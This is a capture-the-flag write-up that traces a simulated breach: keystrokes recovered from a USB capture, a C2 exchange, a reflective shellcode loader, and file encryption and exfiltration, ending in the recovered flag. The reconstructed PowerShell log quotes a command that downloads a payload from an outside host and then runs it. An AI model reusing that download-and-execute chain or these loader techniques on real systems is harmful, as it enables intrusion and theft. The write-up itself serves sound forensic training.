Overview
Challenge: What_did_you_type (Intermediate, 974 points)
Author: Reisen_1943 / Ze:R0
Flag: CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}
“We’re an automotive security startup. Last night, our garage was breached. We managed to capture some logs via our first-ever agent. Can you analyze them and find out what was taken?”
Two pcap files are provided:
monitor_hardware– 116 MB USB capture (USBPcap)monitor_network– 75 KB Ethernet capture, 110 packets
The attack chain: USB keyboard input reconstructs PowerShell commands that download and run malware. The malware contacts a C2 server, decrypts an embedded shellcode payload, reflectively loads a DLL, which in turn decrypts and loads a second PE. That second PE encrypts local files with AES-256-CBC (keyed via srand/rand) and exfiltrates them. The flag is split across three of the four stolen files.
Phase 1: USB Keyboard Reconstruction
The hardware pcap contains USB HID keyboard input. Reconstructing keystrokes yields:
powershell
ls
cd Documents
ls
[IO.File]::WriteAllBytes("$pwd\sus.zip", [Convert]::FromBase64String((irm 'https://0x0.st/PbWE.txt')))
ls
unzip -P 1m_g0d_!! sus.zip -d out
mv out\* .
./module.exe
rm *
exit
The attacker downloaded a base64-encoded zip from 0x0.st, extracted it with password 1m_g0d_!!, and executed module.exe.
Phase 2: Network Capture
The network pcap shows HTTP traffic to a C2 on port 9999:
| # | Method | Path | Detail |
|---|---|---|---|
| 1 | GET | / | Returns 32 raw bytes |
| 2-9 | POST | /upload | 4 encrypted files uploaded |
Key values from the pcap:
- C2:
192.168.52.163:9999(Werkzeug/Flask) - Host header:
for-ultramar.com:9999 - User-Agent:
Inquisition - GET / response (hex):
66c9c5a2015ff2be075f3d430031f54d22f8ad7194363889a019350937946d74
Four encrypted files extracted:
| File | Size |
|---|---|
| enc_Cool_Story.docx | 20548 |
| enc_hello_darkness_my_old_friend.txt | 180 |
| enc_IDK_why_I_saved_this.xlsx | 10052 |
| enc_sexy_picture.jpg | 33524 |
Phase 3: module.exe – C2 Gate and Resource Decryption
module.exe is a PE64 binary (74240 bytes). Static analysis in IDA reveals:
- Hostname gate: Computes
SHA-256(ComputerName)and compares against the 32-byte value returned byGET /. Exits on mismatch. - AES-256-CBC decryption of an embedded PE resource (id
0xFE, type0xFF):- Key = the 32-byte C2 response (=
SHA-256(ComputerName)) - IV =
0f 0e 0d 0c 0b 0a 09 08 07 06 05 04 03 02 01 00
- Key = the 32-byte C2 response (=
- The decrypted resource is
payload_dll.bin(36576 bytes) – a shellcode blob.
For dynamic analysis, we ran a fake C2 server (fake_c2.py) returning the correct 32-byte value from the pcap, with for-ultramar.com pointed at localhost via the hosts file.
Phase 4: Shellcode Loader (sRDI)
payload_dll.bin is an sRDI (shellcode Reflective DLL Injection) stub. Disassembly reveals:
- sub_C60:
call $+5; pop rax; add rax, 8; ret– returns0xC6Das the metadata base address. - sub_4F1: Main orchestrator – reads blob table, reflectively maps the DLL, resolves imports via PEB walking + hashing, calls the DLL entry point.
- sub_7F4 / sub_842: PEB walk and API hash resolution (
hash = hash * 0x83 + tolower(char)).
Blob Table at Offset 0xC6D
Header: u32 size=0x2AEB, u8 flag=0x02, then 4 u32s: [0x24, 0x436, 0xFFFFFFFF, 0xC0].
| Blob | Size | Purpose |
|---|---|---|
| 0 | 8466 | DLL implant (dll_blob0.bin) |
| 1 | 0 | Empty |
| 2 | 48 | XOR-encrypted IAT offset table |
| 3 | 2231 | Import descriptors |
| 4 | 30 | XOR-encrypted DLL name strings |
| 5 | 144 | API hash table (36 entries) |
| 6 | 23 | XOR key for blobs 2/4 |
Blob[6] XOR key decrypts blob[4] to: kernel32\0ntdll\0shell32\0msvcrt\0.
Second Payload at Offset 0x375C
After the blob table, a second payload stream (22394 bytes). The DLL entry point (sub_436) receives a pointer to this stream along with the blob table.
Phase 5: The Breakthrough – Second Payload Stream Parsing
Re-analyzing the stream cursor functions (sub_9B0 init, sub_A4D read_u32, sub_AA7 read_blob) used by the DLL entry point revealed the correct structure:
Bytes 0-3: u32 = 0 (flags)
Bytes 4-7: u32 = 22035 (total size)
Bytes 8-11: u32 = 22035 (blob1 size)
Bytes 12-22046: blob1 data (22035 bytes -- XOR-encrypted PE)
Bytes 22047-22050: u32 = 343 (blob2 size)
Bytes 22051-22393: blob2 data (343 bytes -- THE XOR KEY)
The critical discovery: blob2 (343 bytes) is the repeating XOR key for blob1. XOR decryption reveals a valid PE starting with \x0b\x00\x00\x00shellcode \x00\x00 followed by an MZ header at offset 19:
|
|
The resulting second_pe_decrypted.bin (22016 bytes, after stripping the 19-byte prefix) is a PE64 with 6 sections, entry point at 0x3390, image base 0x140000000.
Phase 6: Second PE – The File Encryptor
The decrypted second PE contains the file encryption logic. Key imports:
| DLL | Functions |
|---|---|
| KERNEL32 | CreateFileA, ReadFile, GetFileSize, FindFirstFileA, FindNextFileA |
| WININET | InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA |
| UCRTBASE | srand, rand, _time64, malloc |
Strings found: "/upload", "POST", "Inquisition" (matching the pcap User-Agent).
Encryption Function (0x140002240)
Decompilation reveals the algorithm:
|
|
Cipher breakdown:
sub_3070= SHA-256 (confirmed by K[0] constant0x428a2f98in .rdata)sub_1480= AES key schedule + IV copy from .rdatasub_1D50= AES-CBC encrypt (16-byte block loop with XOR chaining)sub_1E00= PKCS7 padding
AES IV found at RVA 0x6078 (.data section): 0f 0e 0d 0c 0b 0a 09 08 07 06 05 04 03 02 01 00 – identical to module.exe’s IV.
Encrypted File Format
[4 bytes: raw key] [N bytes: AES-256-CBC ciphertext]
The first 4 bytes of each encrypted file ARE the per-file AES key material.
Phase 7: Decryption
|
|
Results:
| Encrypted File | Key (hex) | Decrypted Content |
|---|---|---|
| enc_Cool_Story.docx | c498a3df |
Valid DOCX – Vietnamese poetry (Tale of Kieu) |
| enc_hello_darkness_my_old_friend.txt | cb9133de |
“Hello from Reisen_1943…” |
| enc_IDK_why_I_saved_this.xlsx | ce8dfbdd |
Valid XLSX – Vietnamese poetry + partial flag |
| enc_sexy_picture.jpg | d18ac3dc |
Valid JPEG – handwritten text |
Phase 8: Extracting the Flag
The flag is split across three files:
1. XLSX (cell A21): CMO{Dumb357
Found in xl/sharedStrings.xml as the 19th shared string, referenced by cell A21 (rows 19-20 intentionally left blank as a gap).
2. JPG (handwritten image): _P3r50n_
The decoded JPEG contains handwritten text with the middle fragment.
3. DOCX (watermark in header2.xml): 1n_7h3_M1lky_W4y_!!!}
Hidden as a WordArt watermark in the default page header:
|
|
The watermark uses 1pt font and 50% opacity silver fill – invisible in normal viewing but present in the XML.
Combined Flag
CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}
A leetspeak rendition of the author’s tagline: “Dumbest Person in the Milky Way!!!”
Summary of the Full Chain
USB keyboard pcap
-> Reconstruct PowerShell commands
-> Download & extract module.exe (zip password: 1m_g0d_!!)
-> module.exe: SHA-256(ComputerName) gate + C2 GET /
-> AES-256-CBC decrypt embedded resource -> payload_dll.bin
-> sRDI loader: reflectively map DLL + pass second payload
-> DLL entry: XOR-decrypt second payload (343-byte key)
-> Second PE: srand/rand -> 4-byte key -> SHA-256 -> AES-256-CBC
-> Decrypt 4 exfiltrated files (key = first 4 bytes of each)
-> Flag split across XLSX cell, JPG image, DOCX watermark
Tools Used
- IDA Pro (with MCP integration) – static analysis of module.exe, payload_dll.bin, dll_blob0.bin, second_pe_decrypted.bin
- Python + pycryptodome – AES decryption, blob parsing, XOR operations
- x64dbg – dynamic analysis of module.exe in throwaway VM
- Wireshark – pcap analysis and file extraction
- Flask (
fake_c2.py) – fake C2 server for dynamic analysis